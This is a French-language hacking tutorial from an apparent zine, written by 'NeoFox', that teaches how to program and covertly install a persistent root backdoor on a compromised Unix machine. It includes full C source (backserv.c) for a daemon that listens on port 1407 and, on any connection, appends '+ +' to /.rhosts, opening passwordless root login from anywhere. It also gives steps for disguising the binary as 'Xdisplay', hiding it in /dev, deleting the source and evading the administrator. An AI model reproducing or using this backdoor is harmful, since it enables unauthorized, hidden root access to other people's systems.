--------------------------------------------------------------------------------------------- VI. Backdoors & Prog réseau par NeoFox --------------------------------------------------------------------------------------------- [ Introduction ] Bien que la technique soit connue, j'avoue ne jamais avoir trouvé de textes expliquant cette dernière en détail. Je vous propose donc un tutorial sur l'utilisation de la programmation "réseau" dans le but de grader l'accès à un système. En d'autres termes, on va parler de backdoors basées sur le principe client/serveur, et nous allons voir également comment les mettre en oeuvre. Cela requiet déja certaines compétences, aussi j'attends de vous d'avoir quelques connaissances en Prog C, Unix et TCP/IP. On va commençer par voir dans un premier temps le principe de cette backdoor puis comment la programmer, fallait s'y attendre. Bonne lecture et rendez-vous dans 25 Ko ! - | Part I : Principe | - -> fonctionnement -> Utilisation A. Vous avez dit Backdoor ? (bis) : ___________________________________ Pourquoi se compliquer la vie avec une backdoor client/serveur alors que l'on peut se contenter d'un shell suid ou d'une setsuid backdoor ? Eh bien je pense que si vous lisez ceci, c'est que comme moi vous préférez la difficulté à la simplicité non ? [ Oups ... ] On est venu, on a vu, on a vaincu ( quoi que ... ), pis on est reparti. Au passage, on a plaçé deux ou trois backdoors : un shell suid et une setuid backdoor. L'admin à découvert notre présence sur sa machine et à patché la faille qui nous a laissé entrer, il a aussi changé tous les mots de passe, et il s'est rendu compte que /bin/findhost ... ben, ça existe pas et à donc viré notre setuid, pis dans la foulée, le shell suid planqué dans un .term d'un homedir. En résumé, vous n'avez plus l'accès root, et d'ailleurs, cela ne vous servierait à rien vu que vous n'avez même plus d'accès du tout ! Plus d'accès ni par telnet car les pass on été changés, ni par rlogin car il n'y a plus de fichiers .rhosts nulle part. C'est dans un cas comme ça qu'on voit l'utilitée d'une backdoor sous forme d'un serveur, qui, lançé en root, en local, sur la cible, exécuterait pour nous des commandes de niveau root lorsqu'il serait activé à distance. Ce serveur vous permettrait de retrouver directement un accès root même si on vous a repris votre account sur la machine. [ Allo, j'écoute ?! ] Jusqu'ici j'ai parlé d'une backdoor basée sur un principe de client/serveur, mais toute la backdoor n'est enfait constituée que d'un serveur dont le rôle sera d'exécuter certaines commandes lorsqu'une connection aura lieu sur un port donné. Notre serveur doit donc ouvrir un port, puis écouter ce port, et attendre qu'une connection soit établie dessus. A partir de là, le serveur se contente d'exécuter une commande particulière et mets fin à la connection. Dans la suite de cet article, on va apprendre à programmer un mini serveur qui ouvrira un port et exécutera une commande en remote lorsqu'une demande de connection y arrivera. [ Et le client dans tout ça ? ] Si on sait ce qu'il en est du serveur, en revanche, on a pas encore parlé du client. De deux choses l'une : vous pouvez coder un petit programme qui se connecte au port de la machine sur lequel le serveur est en écoute, mais dans notre cas, on peut tout aussi bien utiliser Telnet. En admettant que le serveur écoute le port 1407, un petit : % telnet host.cible.com 1407 suffierait à faire exécuter notre commande au serveur, aprés quoi, ce dernier met fin à la session et continue à écouter le port dans l'attente d'une autre connection. [ Les comandes ] Quelles sont les commandes que l'on peut faire exécuter à notre serveur ? Tout dépend de ce que vous voulez faire. Vous pouvez créer un nouvel utilisateur avec un uid/gid à 0 mais le mieux, pour une question de discrétion est de créer un /.rhosts. [ Vérifications ] Avant de commençer il faudra contrôler que le programme soit apellé sans argument et qu'il est soit exécuté par le root, ou dumoins qu'il soit suid root. On vérifiera donc en premier lieu qu'il n'y a pas d'arguement. On vérifiera ensuite qu'on ait bien les privilèges root au moment où notre exécutable sera lançé. A ce moment là, notre id effective devra être à 0. En effet, un /.rhosts ne pourra pas être crée par un processus utilisateur mais seulement par un processus root, d'où l'intêret que le serveur soit "lançé en root". Pour plus d'explications sur les uid effectives et réelles, reportez vous à mon article "Backdoors, concept & réalisation" . [ Backserv ] Pour illustrer mes propos, je vais m'appuyer sur un code source que j'ai apellé "backserv.c". Pourquoi backserv ? eh bien parcequ'il s'agit d'une backdoor sous forme de serveur, tout simplement. B. L'utilisation : __________________ [ Installation ] Le but du jeu, lorsqu'on a le root, est d'installer sa backdoor le plus discrétement possible. On complie la backdoor, on vire le source et on plaçe l'exécutable dans un répertoire peu fréquenté, genre /dev ou autre, à partir de la, on la lançe en arrière plan, puis on peut se casser. Vu qu'il a été lançé en root, on pourra lui faire exécuter en remote des commandes de niveau root. Il faut auparavant regarder la liste des processus qui tournent en arrière plan afin de donner un nom crédible à notre exécutable. Ici on va prendre "Xdisplay". Voici comment proceder : [root@cible.com]# whoami root [root@cible.com]# pwd /dev/xdb57 [root@cible.com]# ls backserv.c [root@cible.com]# ps aux <- "ps -aux" trés simplifié USER PID COMMAND root 1 init nobody 250 identd root 4230 bash [root@cible.com]# gcc backserv.c -o Xdisplay [root@cible.com]# chmod 655 Xdisplay [root@cible.com]# ls -al -rwxr-xr-x 1 root root 12345 12 Oct 12:12 Xdisplay -rw-rw-rw- 1 root root 12345 12 Oct 12:02 backserv.c [root@cible.com]# ./Xdsiplay& [1] 4236 [root@cible.com]# ps aux USER PID COMMAND root 1 init nobody 250 identd root 4230 bash root 4236 Xdisplay <- On voit le processus de notre backdoor [root@cible.com]# rm -f backserv.c [root@cible.com]# exit [user@cible.com]% exit <- On vire le source et on se casse Voila, notre serveur est installé, et lançé en root. A partir de ce moment là, un port est ouvert sur la machine cible et le serveur écoute ce port. Lorsqu'une connection arrivera sur ce port, le serveur exécutera ses instructions avec les privilèges root. [ Utilisation ] Nous avons installé notre backdoor, en écoute au port 1407. L'avantage de cette forme de backdoor est qu'elle peut être activée soit en local, soit à distance. Pour activer notre engin, jusque là en standby, il nous faut nous connecter au port 1407. Dans cet exemple, on va le déclancher en remote en utilisant Telnet : [nous@localhost]% telnet cible.com 1407 Trying 123.25.6.25 Connected to cible.com Escape character is '^]'. ------------------------- - © 2002 IOC - Creating /.rhosts ... OK, exiting ! ------------------------- Connection closed by foreing host [nous@localhost]% Voila, un petit message d'acceuil nous informe que la connection est établie avec notre serveur et que le fichier .rhosts est crée, puis la connection est interrompue. L'utilisation est simple et efficace. [ Resumé ] Avant de passer à l'aspect programmation, on va récapituler. Il nous faut un serveur lançé en root qui : - ouvre un port - attend une connection - accepte la connection - nous fait livrer une pizza - exécute notre commande - met fin à la connection Soit autant de fonctions à utiliser ... On va voir tout ça en détail dans un instant. - | Part II : Programmation | - -> Notions nécessaires -> Prog. pas à pas -> backserv.c Là où je vais m'efforcer d'expliquer chaque petite subtilité de la manoeuvre, d'autres se seraient contentés de décrire grossièrement un code, question de point de vue ... A. Notions nécessaires : ________________________ On va parler maintenant des bases de programmation nécessaires à la conception de notre outil, et on va pour ce faire, dresser la liste des fonctions que nous allons utiliser en fonctions justement de ce que nous attendons de notre backdoor. Le mieux dans notre cas est d'examiner les différentes fonctions dans l'ordre dans lequel elles vont intervenir. [ En cas d'erreur ] Dans un souci de présentation, on va gérer les erreurs éventuelles de chaque fonction en même temps que les fonctions elles mêmes. La fonction perror() va nous aider. Sa syntaxe est : #include perror( char *message); Cette fonction permet en cas d'erreur d'afficher un message personnalisé. [ geteuid() ] Les commandes qui sont destinées à être exécutées par la backdoor doivent l'être en tant que root. Le système ne laissera pas un processus utilisateur créer un /.rhosts, et c'est donc en tant que root que nous devrons lançer notre backdoor. Je me répete là non ? Toujours est il qu'il faudra donc l'avoir bien installé. Tout cela pour vous dire qu'au moment précis de son exécution, notre id effective ou euid devra être à 0. La fonction geteuid() permet de saisir cette valeur afin de la controler : #include geteuid( uid_t uid ); En pratique, on obtiendra : #include /* Si t'es pas root, tu dégage !*/ if (geteuid()!=0){ fprintf(stderr,"Only root can run this !\n"); exit(1); } Si notre id effective n'est pas 0, le serveur ne sera pas autoriser à créer un /.rhosts et ce n'est même pas la peine d'aller plus loin, donc exit. Ces quelques lignes permettent donc de vérifier que l'on soit bien root au moment de la lançer. [ Le vif du sujet : socket() ] Les sockets permettent à deux processus situé sur deux machines distantes de communiquer. Ils définissent quels protocoles doivent entrer en jeu et cela en fonction du type de réseau sur lequels on se trouve. Sur un réseau qui exploite TCP/IP, les protocoles qui vont entrer en action sont IP et TCP ou UDP. La fonction socket() a pour rôle de créer le socket en spécifiant les protocoles utilisés. Sa syntaxe est : #include #include socket( int family, int type, int x); Le paramètre family : Il prend la valeur AF_INET lorsque on utilise le portocole Internet. Le paramètre type prend la valeur : SOCK_STREAM lorsque l'on va communiquer sous TCP. SOCK_DGRAM lorsque c'est UDP qui prend en charge la transmission. SOCK_RAW lorsqu'on forge soi même ses propres paquets. Dans notre cas, nous allons communiquer sous TCP et la valeur du paramètre type sera par conséquent SOCK_STREAM. Enfin, le paramètre x correspond à un protocole additionnel, dont je sais peu de choses sinon que sa valeur est généralement de 0. le socket est donc défini par : #include #include int sock; sock=socket( AF_INET, SOCK_STREAM, 0); Si la création du socket s'est déroulée sans problèmes, la valeur 0 est retournée. Dans le cas contraire, si une erreur survient, on obtient le code -1. Voici comment gérer le code d'erreur tout en créant le socket : #include #include #include int sock; if ((sock=socket( AF_INET, SOCK_STREAM, 0))==-1){ perror("socket"); exit(-1); } Si la valeur de l'identifiant "sock" du socket est de -1, l'erreur est traitée par perror, dans le cas contraire, donc tout s'est bien déroulé et le socket est crée. [ bind() ] La fonction bind sert à définir la manière dont devra être acceptée la connection. Elle désigne le socket à utiliser, le numéro de port à ouvrir et les adresses d'ou peuvent être acceptées les connections. Pour cela, la fonction bind prend pour argument le socket, une structure de type "sockaddr_in" et la longueur de cette structure. Les headers à inclure sont et . Le synopsis de cette fonction est : #include #include int sock; struct sockaddr_in strucutre; bind (sock, (sockaddr_in *)&structure, sizeof(structure)); En cas d'erreur bind() retourne -1. [ La strucutre locale ] La structure utilisée par bind() renseigne sur l'hôtre local, en l'occurence notre cible, la machine sur laquelle nous allons installer la backdoor. Cette structure comporte plusieurs champs qu'il nous faut renseigner : => le champ sin_family qui déisgne la famille de protocoles a utiliser. => le champ sin_port qui désigne le port à ouvrir et écouter. => le champ sin_addr.s_addr qui désingne la machine qui aura droit de se connecter à ce port. Pour remplir un champ de la structure 'structure' on procède comme suit : structure.nom_du_champ = valeur Comme notre structure est relative à l'hôte local, on va l'apeller 'local' ce qui va donner les champs suivants : local.sin_family local.sin_port local.sin_addr.s_addr Avant de remplir notre structure, il faut au préalable initialiser les champs à 0. C'est la fonction bzero() qui s'en charge. Son synopsis est : #include bzero( void *s, size_t n ); Concrétement, cela se traduit par : #include bzero(&structure, taille ); Pour remplir les 10 premiers bits de la structure local : #include bzero(&local, 10); La taille de la structure 'local' est "sizeof(local);", logique. Donc pour remplir TOUTE la structure 'local', on utilise : #include bzero(&local, sizeof(local)); On peut maintenant renseigner les trois champs de notre structure locale : => Comme on utilise le protocole Internet, la valeur du champ sin_family est trés souvent, et c'est le cas ici, "AF_INET". Ce qui donne : local.sin_family = AF_INET; => La valeur du port à écouter est de type int mais doit être convertie en nombre binaire pour intégrer la structure utilisée par bind(). La fonction htons() se charge de cette conversion. Sa syntaxe est : #include htons( int port ); Ce qui nous donne un champ sin_port : #include #define PORT 1407 local.sin_port = htons(PORT); Attention, pour que bind puisse ovrir un port, il faut que celui-ci ne le soit pas déja. Choisissez un numéro de port > à 1024, du genre de ceux qui ne sont pas attribués. => Enfin, le champ sin_addr.s_addr désignant l'hôte autorisé à ce connecter doit être rempli avec la valeur INADDR_ANY ce qui signife que la connection sur ce port est autorisée quel que soit l'hôte client. Ainsi : local.sin_addr.s_addr = INADDR_ANY; En résumé, notre bind, une fois la structure déclarée et remplie, est : struct sockaddr_in local; bzero(&local, sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr= INADDR_ANY; bind (sock, (struct sockaddr_in*)&local, sizeof(local)); Pour gérer le code d'erreur on procède ainsi : if (bind (sock, (struct sockaddr_in*)&local, sizeof(local))==-1){ perror("bind"); exit(-1); } Voila pour bind(), passons à la suite. [ listen() ] Voici la fonction qui intervient chronologiquement juste aprés bind(). Le rôle de listen() est de définir le nombre maximum de connection pouvant être acceptées et gérées en même temps par notre serveur. Ce nombre, aussi apellé "Backlog", dépend des capacités de la machine, en général, c'est une valeur entre 4 et 6. Lorsqu'une connection est sur le point d'être entamée, les segments TCP du client ont le flag SYN à 1 ( voir mon article sur TCP/IP ). Lorsque la demande de connection est effectuée, la connection attend d'être traitée par la fonction accept(). Si la backlog est de 5, la longueur de la file d'attente est de 5 connections. ( Voir l'article de Lex Icon sur le SYNFlooding ). Revenons à nos moutons ; listen() définit donc la taille de la backlog. Sa syntaxe est : #include listen( int socket, int backlog ); Dans notre exemple : #include #define BACKLOG 5 listen(sock, BACKLOG); On voit donc que la fonction listen() prend comme paramètres l'identifiant du socket et le backlog. [ while (1) ] Nous voulons que le serveur reste actif en permanence, même lorsque la connection avec le client sera interrompue. On va donc plaçer la suite du code dans une boucle while. La suite du code est justement la fonction accept() ... [ accept() ] La fonction accept va traiter les demandes de connection. Si aucune erreur n'est rencontrée, la connection est acceptée, dans le cas contraire, la valeur -1 est retournée. La syntaxe de la fonction accept est : #include #include accept( int socket, ( struct sockaddr_in *)structure, longueur); Dans notre cas, on va déclarer la fonction ainsi : #include #include int size, sock; struct sockaddr_in remote; size=sizeof(struct sockaddr_in); accept( sock, (struct sockaddr_in *)&remote, &size); On plaçera donc la fonction accept() dans la boucle dont nous avons parlé un peu plus haut. On a vu que la valeur -1 est retournée en cas d'erreur lors de l'ouverture de la connection. Voyons donc comment gérer les erreurs éventuelles : int new; if((new=accept(sock, (struct sockadd_in *)&remote, &size))!=-1){ /* La connection est établie * Il faut plaçer ici les commandes * a faire exécuter par le serveur */ } Voila, donc ici, on gère le code d'erreur en même temps que l'on ouvre la connection. Cette dernière étant établie, il ne reste plus qu'à écrire les commandes à faire exécuter. [ /.rhosts ] Dans mon exemple, nous allons créer un /.rhosts ce qui nous permettra de nous connecter en root par rlogin ou rsh. Le /.rhosts ne doit être présent que de manière temporaire et vous devrez le supprimer avant de partir. Ici le /.rhosts ne constitue pas une backdoor en lui même, voyez le plutôt comme une sorte de clef que vous utilisez pour ouvrir la porte du système ( belle métaphore filée, non ? ). Pour y revenir, vous n'aurez plus qu'à activer à nouveau le serveur. Enfin, là je m'écarte de l'aspect programmation ... Alors nos commandes : #include #include char buf[50]; sprintf(buf,"echo + + >> /.rhosts"); system(buf); Voila, à l'aide de sprintf() on écrit dans un buffer que l'on exécute ensuite grâce à la fonction system(). [ send() ] On peut affichier du texte sur l'écran pour prévenir que le fichier /.rhosts a bien été crée et donc que la connection s'est bien déroulée. On utilise pour cela la commande send(). Sa syntaxe est la suivante : send ( int socket, char *message, sizeof(message), 0); Je ne sais pas à quoi correspond le 0 ... Dans notre exemple, cela donne : int new; char msg[]="Votre texte\n"; if((new=accept(...))!=-1){ /* ici il y aura nos commandes */ send(new, msg, sizeof(msg), 0); } Voila, on a plus qu'à couper la connection. [ close() ] Une fois notre fichier crée, il faut fermer la connection. La commande close() s'en charge. L'identifiant assigné au socket de la connection est "new" ( voir plus haut ). Souvenez vous, pour ouvrir : if((new=accept( ... ))) Donc pour fermer : close(new); Voila, nous venons de voir les différentes fonctions dons nous avons besoin pour écrire la backdoor. On va maintenant programmer notre outil pas à pas. B. Programmation pas à pas : ____________________________ Dabord les fichiers d'include : #include ( pour printf, fpinrtf, sprintf ) #include ( pour bzero ) #include ( pour system et geteuid ) #include ( pour perror ) #include ( pour htons ) #include ( pour socket, accept, bind ) #include ( pour listen, socket, accept, bind ) Ensuite, on définit le port et le backlog : #define PORT 1407 ( ... une date aniversaire ;@) ) #define BACKLOG 5 ( 5 pour une machine sous linux ) On entre maintenant dans le main : int main ( int argc, char *argv[]){ On va définir encore quelques trucs, le buffer pour la commande que l'on fera exécuter et le message d'acceuil qui s'affichera lors du début de la connection : char cmd[50]; char msg[]="\nVotre Message d'acceuil\n"; Les choses sérieuses commençent : int sock, new, size; struct sockaddr_in local; struct sockaddr_in remote; size=sizeof(struct sockaddr_in); On vient de définir des variables de types int qui correspondront aux identificateurs des sockets et une autre pour la taile de la la structure. On a aussi mentionné les deux structures que l'on va utiliser. On va maintenant mettre les champs de la structure "local" à 0 avant de les remplir. bzero(&local, sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr = INADDR_ANY; Avant d'aller plus loin, il faut vérifier que la backdoor est bien exécutée par le root. On aurait pu plaçer cette partie en début, mais présentation oblige, on va la plaçer ici : if (geteuid()!=0){ fprintf(stderr,"Only root can run this !\n"); exit(1); } Dans la foulée, nous allons compter le nombre d'arguments de la ligne de commande pour avertir en cas d'erreur qu'aucun argument n'est attendu : if (argc!=1){ fprintf(stderr,"Usage : %s&\n",argv[0]); exit(1); } Vous pouvez, à ce niveau là, restreindre l'accès de la backdoor en la protégeant par mot de passe : #define PWD "-sys" if((strcmp(PWD, argv[1]))!=0){ fprintf(stderr,"\'%s\' : No such argument \n", argv[1]); exit(1); } Dans ce cas, l'exécutable devra être invoqué par "./prog -sys &" avec le "&" pour être exécuté en arrière plan. Si l'argument "-sys" n'est pas fourni, la backdoor sera inutilisable, même pour le root. Si le root tombe dessus, il faut que notre exécutable ressemble à tout sauf à une backdoor, donc si vous mettez un truc genre "wrong password for this backdoor" il va piger dessuite. Le mieux, c'est de mettre un message d'erreur genre "no such argument", mais ça, c'est à vous de voir. Maintenant que l'on s'est assuré que l'exécutable a été correctement lançé, on peut passer à la suite. On va définir le socket et gérer le code d'erreur en même temps : if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){ perror("socket"); exit(-1); } Bien, le socket étant prêt et la structure locale remplie, on attaque avec le bind() pour ouvrir le port : if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){ perror("bind"); exit(-1); } Le port est ouvert, reste à définir le backlog ; pour cela listen() : if( listen(sock, BACKLOG)==-1){ perror("listen"); exit(-1); } Tout est prêt pour initialiser la connection : while(1){ if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){ On va maintenant définir ce qui devra être fait si une connection est acceptée : sprintf(cmd,"echo + + >> /.rhosts\n"); system(cmd); Tout s'est déroulé avec succès, on peut donc envoyer le message de confirmation : send(new, msg, sizeof(success), 0); } close(new); } return 0; } Voila, on ferme le 'if', on clos la connection, on finit par fermer la boucle while, et enfin on termine le main. C'est termimé, notre backdoor est fin prête, reste à compiler. C. backserv.c : _______________ Voici le code source complet ! -------------8<--- cut here -------------------------------------------------------------- /* backserv.c v1.2 - Server Backdoor protected by password - * * by NeoFox [IOC] * * * | Directions for use | * * * * When you're root : * * 1) # gcc backserv.c -o Xdisplay * 2) # rm backserv.c * 3) # ./Xdisplay -sys& * 4) # exit * * Then as user ( local or remote ) : * * 1) % telnet cible.com 1407 * * - © 2001 [IOC] - * Creating /.rhosts * Ok, exiting ! * * 2) % rsh -l root cible.com csh -i * 3) # rm /.rhosts * 4) # * * */ #include /* fprintf, sprintf */ #include /* perror */ #include /* bzero */ #include /* sizeof */ #include /* htons */ #include /* socket, listen */ #include /* socket, listen, accept */ #define PORT 1407 #define BACKLOG 5 #define PWD "-sys" int main (int argc, char *argv[]) { char cmd[50]; /* do it with fun ! */ char success[]="-------------------\n" "\033[1;34m- © 2001 IOC -\033[0m\n" "\033[1;37mCreating /.rhosts ...\033[0m\n" "\033[1;31mOK, exiting !\033[0m\n" "-------------------\n"; int sock, new, size; struct sockaddr_in local; struct sockaddr_in remote; size=sizeof(struct sockaddr_in); /* empty struct */ bzero(&local, sizeof(local)); /* initialize struct */ local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr = INADDR_ANY; /* must be run as root */ if (geteuid()!=0){ fprintf(stderr,"Only root can run this !\n"); exit(1); } /* only 1 argument */ if (argc!=2){ fprintf(stderr,"Usage : %s&\n",argv[0]); exit(1); } /* checking password */ if((strcmp(PWD, argv[1]))!=0){ fprintf(stderr,"\'%s\' : wrong argument !\n", argv[1]); exit(1); } /* creating socket */ if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){ perror("socket"); exit(-1); } /* bind */ if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){ perror("bind"); exit(-1); } /* define our server's backlog */ if( listen(sock, BACKLOG)==-1){ perror("listen"); exit(-1); } while(1){ /* wait for a connection */ if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){ /* creating file */ sprintf(cmd,"echo + + >> /.rhosts\n"); system(cmd); /* our message */ send(new, success, sizeof(success), 0); } /* close connection */ close(new); } return 0; } -------------8<--- cut here -------------------------------------------------------------- Conclusion : ____________ Ainsi s'achève cet article. J'espère que ce dernier vous aura apris quelque chose et vous aura plu. Si vous avez des questions, des commentaires, des critiques ou des conseils à me faire parvenir, n'hésitez pas à m'écrire.